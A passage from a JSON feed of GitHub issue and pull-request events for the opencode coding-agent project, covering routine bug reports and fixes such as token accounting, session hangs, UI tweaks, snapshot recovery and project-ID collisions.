        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42326",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): accumulate step tokens instead of overwriting",
          "text": "## Issue for this PR Fixes #42324 ## Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ## What does this PR do? In multi-step tool-call assistant messages, `processor.ts` overwrites `assistantMessage.tokens` on each `step-finish` event, so only the last step's output, reasoning, and cache.write survive — while `cost` correctly accumulates with `+=`. This PR accumulates the additive fields across steps and keeps the final step's `input` and `cache.read` (the final step's request already includes all prior steps, so keeping the last values avoids double-counting). This fixes under-reported context metrics and delayed auto-compaction for multi-step messages. ## How did you verify your code works? - Added a test in `packages/opencode/test/session/processor-effect.test.ts` that drives a two-step LLM stream with distinct per-step usage and asserts the accumulated message tokens (`total`, `input`, `output`, `reasoning`, `cache.read/write`). - `bun typecheck` from `packages/opencode` passes. - `bun test --timeout 30000 test/session/processor-effect.test.ts` passes (16/17; one pre-existing failure unrelated to this change, reproducible on clean dev). - `bun test --timeout 30000 test/session/compaction.test.ts` passes (54 pass). ## Notes - Follow-up to #21913 (auto-closed for inactivity). Earlier attempts #22077, #22032, #10215 were closed by automated cleanup, not technical review — this PR keeps the change minimal (single file + one test) without the unrelated behavior changes that were bundled in those PRs.",
          "url": "https://github.com/anomalyco/opencode/pull/42326",
          "createdAt": "2026-08-13T13:19:04Z",
          "updatedAt": "2026-08-13T13:19:15Z",
          "timestamp": "2026-08-13T13:19:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:ff2de4f8aec5069e84f8",
        "signalId": "github:anomalyco/opencode:issue:42320",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42320",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Opencode hangs after model selection with opencode-go/minimax-m3",
          "text": "### Description I subscribed to Opencode, but in my environment the app hangs when sending a request to the model. The local installation appears to start normally, and the provider credentials are available, but once the model is selected the request never returns a response. Environment: OS: Linux Shell: bash opencode version: 1.18.18 Provider: opencode-go Model: minimax-m3 ### Plugins oh-my-opencode-slim ### OpenCode version 1.18.18 ### Steps to reproduce Run opencode providers list Confirm that credentials are present Run: `opencode --print-logs --log-level DEBUG -m opencode-go/minimax-m3 run \"hello\"` Observe that the process reaches the model selection stage and then stalls without returning any result Expected behavior: The model should respond normally to the prompt. Actual behavior: The request hangs after llm runtime selected and stream providerID=opencode-go modelID=minimax-m3 The process must be manually interrupted Exit code is 130 ### Screenshot and/or share link timestamp=2026-08-13T12:25:56.269Z level=INFO run=a05ce97c message=\"creating instance\" directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.270Z level=INFO run=a05ce97c message=fromDirectory directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.282Z level=INFO run=a05ce97c message=bootstrapping directory=/home/zlzhangn/projects/‌alphaquant timestamp=2026-08-13T12:25:56.286Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/config.json timestamp=2026-08-13T12:25:56.287Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.json timestamp=2026-08-13T12:25:56.291Z level=INFO run=a05ce97c message=loading path=/home/zlzhangn/.config/opencode/opencode.jsonc ... timestamp=2026-08-13T12:25:57.171Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=true agent=title mode=primary timestamp=2026-08-13T12:25:57.185Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 timestamp=2026-08-13T12:26:00.576Z level=INFO run=a05ce97c message=process session.id=ses_004e9e886ffeLm52lnnnJmwVSn messageID=msg_ffb161892001zWeIGHL9kXu82k timestamp=2026-08-13T12:26:00.577Z level=INFO run=a05ce97c message=stream providerID=opencode-go modelID=minimax-m3 session.id=ses_004e9e886ffeLm52lnnnJmwVSn small=false agent=orchestrator mode=primary timestamp=2026-08-13T12:26:00.578Z level=INFO run=a05ce97c message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=minimax-m3 ### Operating System WSL:Ubuntu ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42320",
          "createdAt": "2026-08-13T13:04:59Z",
          "updatedAt": "2026-08-13T13:14:50Z",
          "timestamp": "2026-08-13T13:14:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "zlzhangn",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:dc73038a4572fc1ec83b",
        "signalId": "github:anomalyco/opencode:pull_request:42312",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42312",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(desktop): update composer dropzone",
          "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Updates the desktop composer dropzone to use a 0.5px focus-token outline with 3px dashes and a 5% accent background in both themes. The outline is rendered in an absolute overlay to avoid changing the composer's layout, and the label is shortened to \"Drop to attach\". ### How did you verify your code works? Ran `bun typecheck` and `bun test src --only-failures` from `packages/session-ui`. ### Screenshots / recordings Before https://anoma-ly.slack.com/archives/C0BFS9520BG/p1786493803594009 After https://github.com/user-attachments/assets/aaed27e8-2271-4085-ae47-a21a1f65f236 ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42312",
          "createdAt": "2026-08-13T12:18:28Z",
          "updatedAt": "2026-08-13T13:14:42Z",
          "timestamp": "2026-08-13T13:14:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "usrnk1",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a99f27687dd66a240e0b",
        "signalId": "github:anomalyco/opencode:issue:40508",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40508",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "V2 TUI: add native Mermaid and LaTeX rendering",
          "text": "## Summary Add first-class Mermaid diagram and LaTeX math rendering to the OpenCode V2 TUI. Mermaid should be the initial priority. LaTeX support should cover both display math and inline math embedded within surrounding prose. ## Scope - Render fenced Mermaid blocks as diagrams in session content. - Render display LaTeX expressions. - Render inline LaTeX without forcing the surrounding text onto separate lines. - Define clear fallback behavior when rendering is unsupported or fails so the original source remains readable. - Preserve normal Markdown/code rendering and avoid interpreting ordinary text, such as currency values, as math. ## Architecture Prefer implementing these features as built-in/internal OpenCode plugins rather than adding them to OpenTUI core. This gives OpenCode first-class support without bloating the lower-level renderer and provides a concrete pressure test for the V2 plugin system. The current plugin API does not appear to expose TUI session-content render slots/hooks. Track and add the minimum plugin API needed for internal plugins to recognize and render custom session content, with Mermaid and LaTeX as the proving use cases. ## Acceptance criteria - Mermaid fences render visibly in the V2 TUI, with readable source fallback on failure. - Display and inline LaTeX render correctly in the V2 TUI. - Inline math composes with text before and after it on the same line where space allows. - Rendering works during streaming and after sessions are restored. - The implementation documents or demonstrates the internal plugin/content-rendering extension point. - Existing Markdown, code blocks, selection, scrolling, and copy behavior continue to work.",
          "url": "https://github.com/anomalyco/opencode/issues/40508",
          "createdAt": "2026-08-04T18:38:42Z",
          "updatedAt": "2026-08-13T13:13:45Z",
          "timestamp": "2026-08-13T13:13:45Z",
          "metrics": {
            "reactions": 5,
            "comments": 2
          },
          "labels": [
            "2.0"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:b1d8913ad058d99a3ef2",
        "signalId": "github:anomalyco/opencode:pull_request:42323",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42323",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: italian translation of references.mdx page",
          "text": "### Issue for this PR ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? - I translated the `references.mdx` page into Italian. ### How did you verify your code works? - in packages/web run `bun run build` - repository pre-push typecheck ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42323",
          "createdAt": "2026-08-13T13:09:41Z",
          "updatedAt": "2026-08-13T13:10:44Z",
          "timestamp": "2026-08-13T13:10:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "DomeT99",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:707ab9ae2a7772a1debc",
        "signalId": "github:anomalyco/opencode:issue:42318",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42318",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Changed-files view shows changes from other sessions (no per-session filtering)",
          "text": "### Description The changed-files indicator in a conversation window lists files that were modified by *other* conversations or tools working in the same directory, not just the changes made by the current session. Observed case: in a session that created exactly one new file, the file-change panel reported 5 changed files. File timestamps show the other files were last modified before this session started (uncommitted changes left by earlier work). This makes it look like the current conversation modified files it never touched, which is confusing and can look like unintended edits. Root cause (verified against `dev` source): - `packages/opencode/src/git/index.ts` — `status()` runs `git status --porcelain=v1 --untracked-files=all --no-renames -z -- .` scoped only to the project `cwd`; there is no session parameter anywhere. - SDK `file.status({ query? })` likewise has no session scoping. So every session in the same directory shares one project-wide git-status change list. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Take a git repo with pre-existing uncommitted changes (e.g. left by earlier sessions). 2. Open opencode in that directory and start a new conversation. 3. Ask the assistant to write one new file. 4. Look at the changed-files indicator for this conversation: it lists the pre-existing modified files (from other sessions) together with the one file this session created. ### Screenshot and/or share link _No response_ ### Operating System Windows 10 Pro 22H2 (build 19045) ### Terminal PowerShell 5.1",
          "url": "https://github.com/anomalyco/opencode/issues/42318",
          "createdAt": "2026-08-13T12:57:20Z",
          "updatedAt": "2026-08-13T13:07:43Z",
          "timestamp": "2026-08-13T13:07:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "StarryJinda",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:63ad71f9c06024be0916",
        "signalId": "github:anomalyco/opencode:issue:40468",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40468",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "stuck in busy forever after toolcall",
          "text": "### Description After several successful tool calls suddenly one toolcall ends and opencode TUI remains stuck in busy (ping pong animation ongoing). Double ESC to interrupt does nothing. The last log message is either \"level=INFO run=XXXX message=loop session.id=ses_XXXX step=N\" or something like \"level=INFO run=XXXX message=evaluated permission=bash pattern=\"....\" action.permission=* action.action=allow action.pattern=*\" No permission dialog is shown and the operation wouldn't have required one, so I guess this is not a hidden dialog issue, even though the log seems to imply this. The only way to recover from this is CTRL+C, restart opencode with the same session and issue a prompt to continue. It is possible that it occurs more frequently with bash commands that take a few seconds to complete or are piped through head or something like that, but it can also be coincidence. Additional information: Agent is running a local instance of qwen-3.6 27b served via vllm (openai compatible backend). Right now got an update to 1.18.13 and it still happens. Oldest known release with this issue: 1.18.11. ### Plugins none ### OpenCode version 1.18.12 ### Steps to reproduce 1. In an opencode session issue prompts that would result in tool-calls like bash shell commands. 2. Wait until one of the tool calls gets perpetually stuck in busy mode. ### Screenshot and/or share link _No response_ ### Operating System Debian trixie (Linux 6.12.63+deb13-amd64) ### Terminal Konsole 25.04.2 (KDE plasma) running bash",
          "url": "https://github.com/anomalyco/opencode/issues/40468",
          "createdAt": "2026-08-04T14:35:35Z",
          "updatedAt": "2026-08-13T13:06:50Z",
          "timestamp": "2026-08-13T13:06:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "yope",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:83b49308e57aa9684d80",
        "signalId": "github:anomalyco/opencode:pull_request:42262",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42262",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): align skill descriptions with wide characters",
          "text": "fix(tui): align skill descriptions with wide characters ### Issue for this PR https://github.com/anomalyco/opencode/issues/40605 Closes #40605 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a skill's name contains wide characters (e.g. CJK), the `/skills`dialog padded titles with `String.prototype.padEnd` based on UTF-16 codeunit length (`s.name.length`). Chinese characters count as 1 code unit butoccupy 2 terminal cells, so titles with the same code-unit length ended atdifferent screen columns and the descriptions below them misaligned. The fix measures the column width with `Bun.stringWidth` (already usedelsewhere in the TUI, e.g. `src/prompt/display.ts`) and pads each title upto the maximum display width instead of the maximum code-unit length: ```ts const maxWidth = Math.max(0, ...list.map((s) => Bun.stringWidth(s.name))) title: skill.name.padEnd(skill.name.length + maxWidth - Bun.stringWidth(skill.name)) ``` ### How did you verify your code works? I created a Chinese title skill that describes normal alignment ### Screenshots / recordings <img width=\"1085\" height=\"413\" alt=\"屏幕截图 2026-08-13 145422\" src=\"https://github.com/user-attachments/assets/71f3f860-fd8d-4f8e-b6e3-f1555035d93d\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42262",
          "createdAt": "2026-08-13T07:03:49Z",
          "updatedAt": "2026-08-13T13:05:51Z",
          "timestamp": "2026-08-13T13:05:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "liujianbo2013",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:165b22cbcd1d4f5a6650",
        "signalId": "github:anomalyco/opencode:pull_request:42319",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42319",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): recover corrupt snapshot index",
          "text": "### Issue for this PR Closes #42237 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Snapshot capture now recovers an invalid private Git index after a failed capture. Recovery is restricted to OpenCode snapshot storage, replaces only the index from the source repository, and retries once under the existing repository lock. Historical objects and tree IDs remain available. ### How did you verify your code works? - bun test test/git.test.ts test/snapshot.test.ts — 9 passed - Corrupt-index regression with --rerun-each 10 — 10 passed - bun typecheck - Prettier and Oxlint — 0 errors The full Core suite passed 1076 tests with 7 unrelated Windows/npm environment failures. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42319",
          "createdAt": "2026-08-13T13:04:00Z",
          "updatedAt": "2026-08-13T13:04:00Z",
          "timestamp": "2026-08-13T13:04:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "dajiaohuang",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:57e2008266bfa8532cc6",
        "signalId": "github:anomalyco/opencode:issue:42089",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42089",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "v2 provider: HTTP 400 from Copilot model restarts active session server",
          "text": "## Summary An active session repeatedly restarts when GitHub Copilot rejects `gpt-5.6-sol` on the `/chat/completions` endpoint. This interrupts tool calls and requires the user to ask the agent to continue. ## Environment - opencode version: `0.0.0-next-17297` - OS: Darwin 25.6.0, arm64 - Terminal: Ghostty (`TERM=xterm-256color`, `COLORTERM=truecolor`) - Shell: `/bin/zsh` - Install/channel: v2 next/dev runtime - Active plugins: - `boxedcode-atlassian-mcp.ts` - `boxedcode-box.ts` - `boxedcode-config.ts` - `boxedcode-local.ts` - `boxedcode-task.ts` - `zzz.ts` - `jj.ts` - `boxedcode.js` ## Reproduction 1. Configure an agent with `\"model\": \"github-copilot/gpt-5.6-sol\"`. 2. Start a session and perform a multi-step task involving tool calls. 3. Continue interacting with the session until the provider rejects a request to `/chat/completions`. ## Expected Behavior Either route the model through a supported endpoint or report the provider error without restarting the active session server. Tool and conversation state should remain usable. ## Actual Behavior The server restarts and interrupts the current operation. This happened repeatedly in the same session, including while invoking an interactive question tool. The server log contains: ```text Failed to drain Session AI.Error: RequestExecutor.execute: Provider request failed with HTTP 400: model \"gpt-5.6-sol\" is not accessible via the /chat/completions endpoint ``` Relevant sanitized stack: ```text at RequestExecutor.execute (ai/src/route/executor.ts:244:25) at SessionRunner.callModel (core/src/session/runner/llm.ts:191:32) at SessionRunner.runSteps (core/src/session/runner/llm.ts:133:16) at SessionRunner.drain (core/src/session/runner/llm.ts:124:26) at ServerProcess.start (cli/src/server-process.ts:73:29) ``` ## Additional Context - The configured provider is `github-copilot`. - The configured agent variant is `medium`. - The failure occurred repeatedly during one session rather than only at startup. - After each restart, the user was shown: “The server restarted while you were working. Continue from where you left off without repeating completed work.” - No workaround was attempted during the session.",
          "url": "https://github.com/anomalyco/opencode/issues/42089",
          "createdAt": "2026-08-12T17:09:57Z",
          "updatedAt": "2026-08-13T13:03:20Z",
          "timestamp": "2026-08-13T13:03:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "2.0"
          ],
          "author": "stevoland",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:82523fa96418c46e96bf",
        "signalId": "github:anomalyco/opencode:pull_request:42313",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42313",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: fix package manager code blocks",
          "text": "## Summary - replace hand-written install tabs with Blume's formatter-safe `CodeGroup` - keep package manager labels separate from the `bash` syntax language - prevent the repository generation/formatting workflow from collapsing fences and reintroducing `bash` as command text ## Checks - `./script/generate.ts` (source remains unchanged after generation and formatting) - `bun node_modules/.bin/blume check` - `bun node_modules/.bin/blume validate` - `bun node_modules/.bin/blume build` - `bun script/prepare-cloudflare.ts` Requested by: @kitlangton (Kit Langton via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42313",
          "createdAt": "2026-08-13T12:22:47Z",
          "updatedAt": "2026-08-13T12:56:44Z",
          "timestamp": "2026-08-13T12:56:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bc5a098dada18eeabe69",
        "signalId": "github:anomalyco/opencode:pull_request:42317",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42317",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): include agent identity in system prompt",
          "text": "### Issue for this PR Fixes #42125 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The model does not know which agent it is running as because the agent identity is not included in the system prompt. The `<env>` block already contains model ID, working directory, platform, and date — this adds `Agent: ${agent.name}`. The `environment` function signature changes from `(model)` to `(model, agent)`, consistent with `sys.skills(agent)` and `sys.mcp(agent)` which already receive the agent. ### How did you verify your code works? Two tests in `test/session/system.test.ts` verify the agent name appears in the environment output — one with the built-in `build` agent and one with a custom `reviewer` agent. `bun typecheck` passes clean. Only one caller of `sys.environment` exists in the codebase (`prompt.ts:1259`), updated. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42317",
          "createdAt": "2026-08-13T12:54:24Z",
          "updatedAt": "2026-08-13T12:54:24Z",
          "timestamp": "2026-08-13T12:54:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:d5f3d447374faea10cb4",
        "signalId": "github:anomalyco/opencode:pull_request:42316",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42316",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): filter compaction events from jsonl output",
          "text": "### Issue for this PR Fixes #42238 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When auto-compaction occurs, `opencode run --format json` emits internal compaction output (summaries, step events, reasoning) as ordinary JSONL events. Consumers cannot distinguish these from user-visible assistant output. The fix tracks compaction message IDs from `message.updated` events (where `info.mode === \"compaction\"`) and skips all parts belonging to those messages. Synthetic continuation prompts are also filtered via `part.synthetic`. ### How did you verify your code works? All 13 existing `run-process.test.ts` tests pass with no regression. `bun typecheck` passes clean. The `compactionMessages` Set is populated from `message.updated` which fires before any `message.part.updated` for the same message (sequential publish in the same Effect fiber), so the filter is always in place before parts arrive. A dedicated compaction test would require triggering real context overflow in the subprocess harness, which is complex with the mock LLM server. The fix was verified manually against the issue's reproduction steps. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42316",
          "createdAt": "2026-08-13T12:54:23Z",
          "updatedAt": "2026-08-13T12:54:23Z",
          "timestamp": "2026-08-13T12:54:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:5f83ae184ed3d0427abf",
        "signalId": "github:anomalyco/opencode:issue:42315",
        "event": "discovered",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42315",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Same git remote URL produces identical project_id for different local clones → only one project visible in desktop sidebar",
          "text": "### Description # Title (EN) Same git remote URL produces identical project_id for different local clones → only one project visible in desktop sidebar # 标题 (中文) 相同的 git remote URL 导致不同本地 clone 生成相同的 project_id，桌面端侧边栏只能看到一个项目 --- ## English version ### Description When two local directories are clones of the **same git remote** (but on different branches / versions), opencode assigns them the **same `project_id`**. As a result, the desktop client aggregates them into a single entry in the sidebar project list, and only the first-added project is usable. The second directory cannot be added/switched to as a separate project. ### Environment - opencode desktop: 1.18.18 (Windows) - OS: Windows ### Reproduction steps 1. Clone the same repo into two local directories, e.g.: - `/path/to/repo-branchA` (branch A) - `/path/to/repo-branchB` (branch B) 2. Both have the same remote origin URL: ``` origin https://git.example.com/group/repo.git ``` 3. Add both directories as projects in the desktop client. 4. Observe the sidebar: only **one** project entry is shown. ### Expected behavior Both directories should be listed as separate projects (or at least be switchable), since they are different working directories with different branches. ### Actual behavior Both directories resolve to the same `project_id`: ``` <sha1 hash> ``` which is `sha1(\"git-remote:git.example.com/group/repo\")`. The desktop sidebar deduplicates by `project_id`, so only the first-added project is visible. ### Root cause (from source inspection) In `Project.resolve` (`node-4IhTfWZ9.js` around line 85716), the `project_id` is resolved with this priority: 1. `sha1(\"git-remote:\" + normalizedRemoteUrl)` ← **always wins when a remote is set** 2. cached value in `.git/opencode` 3. root commit hash (`git rev-list --max-parents=0 HEAD`) Since both clones share the same remote URL, step 1 produces an identical id, and the fallbacks are never reached. Even the root-commit fallback would be identical here because both clones share the same root commit. The `project_directory` table already supports a many-to-one mapping (PK is `(project_id, directory)`), so the **data layer** can hold multiple directories per project. The limitation is in the **UI**, which aggregates by `project_id` only. ### Why this matters For developers who maintain multiple versions/branches of the same repo side-by-side (e.g. a maintenance branch + a development branch), this makes it impossible to manage them as separate projects in the desktop client. ### Suggested improvements (any of) 1. **UI**: Show distinct entries per `directory` even when they share a `project_id` (the `project_directory` table already supports this). 2. **ID resolution**: Incorporate the local working directory (or branch) into the `project_id` as a tiebreaker when remote URLs collide, e.g. `sha1(\"git-remote:\" + remote + \":\" + worktreePath)` or `sha1(remote + \"@\" + branch)`. 3. **Workspace**: Allow registering an existing independent clone directory as a workspace target (currently workspaces only support `git worktree`-linked directories). --- ## 中文版 ### 问题描述 当两个本地目录是**同一个 git remote** 的 clone（但分支/版本不同）时，opencode 会给它们分配**相同的 `project_id`**。这导致桌面端在侧边栏的项目列表里把两者聚合成一条，只能看到最先添加的那个项目，第二个目录无法作为独立项目添加/切换使用。 ### 环境信息 - opencode 桌面端：1.18.18（Windows） - 操作系统：Windows ### 复现步骤 1. 把同一个仓库 clone 到两个本地目录，例如： - `/path/to/repo-branchA`（分支 A） - `/path/to/repo-branchB`（分支 B） 2. 两者的 remote origin URL 相同： ``` origin https://git.example.com/group/repo.git ``` 3. 在桌面端把这两个目录都添加为项目。 4. 观察侧边栏：只显示了**一个**项目条目。 ### 期望行为 两个目录应作为独立项目展示（或至少可切换），因为它们是不同的工作目录、不同分支。 ### 实际行为 两个目录解析出了相同的 `project_id`： ``` <sha1 hash> ``` 即 `sha1(\"git-remote:git.example.com/group/repo\")`。 桌面端侧边栏按 `project_id` 去重，因此只显示最先添加的项目。 ### 根因（源码分析） 在 `Project.resolve`（`node-4IhTfWZ9.js` 约 85716 行）中，`project_id` 按以下优先级解析： 1. `sha1(\"git-remote:\" + 规范化后的 remote URL)` ← **只要设置了 remote 就一定命中** 2. `.git/opencode` 缓存文件 3. root commit hash（`git rev-list --max-parents=0 HEAD`） 由于两个 clone 的 remote URL 相同，第 1 步就产生相同 id，fallback 永远不会触发。即便走到 fallback，root commit 也相同（同源仓库），结果仍会一致。 `project_directory` 表本身已支持多目录映射（主键是 `(project_id, directory)` 联合主键），**数据层**可以容纳同一 project_id 下的多个目录。限制在 **UI 层**——只按 `project_id` 聚合展示。 ### 为什么这很重要 对于需要并行维护同一仓库多个版本/分支的开发者（例如同时维护某个维护分支和开发另一个分支），这导致无法在桌面端把它们作为独立项目来管理。 ### 建议改进（任选其一） 1. **UI**：即使 `project_id` 相同，也按 `directory` 展示不同条目（`project_directory` 表已支持）。 2. **ID 解析**：当 remote URL 冲突时，把本地工作目录（或分支）纳入 `project_id` 计算，例如 `sha1(\"git-remote:\" + remote + \":\" + worktreePath)` 或 `sha1(remote + \"@\" + branch)`。 3. **Workspace**：允许把已有的独立 clone 目录注册为 workspace 目标（目前 workspace 只支持 `git worktree` 关联的目录）。 ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42315",
          "createdAt": "2026-08-13T12:44:58Z",
          "updatedAt": "2026-08-13T12:51:46Z",
          "timestamp": "2026-08-13T12:51:46Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "gangbanbro",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:722131ee8a71cd25505f",
        "signalId": "github:anomalyco/opencode:issue:42293",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42293",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode zen DeepSeek V4 Flash Free requests fail with [invalid_bearer_credential]",
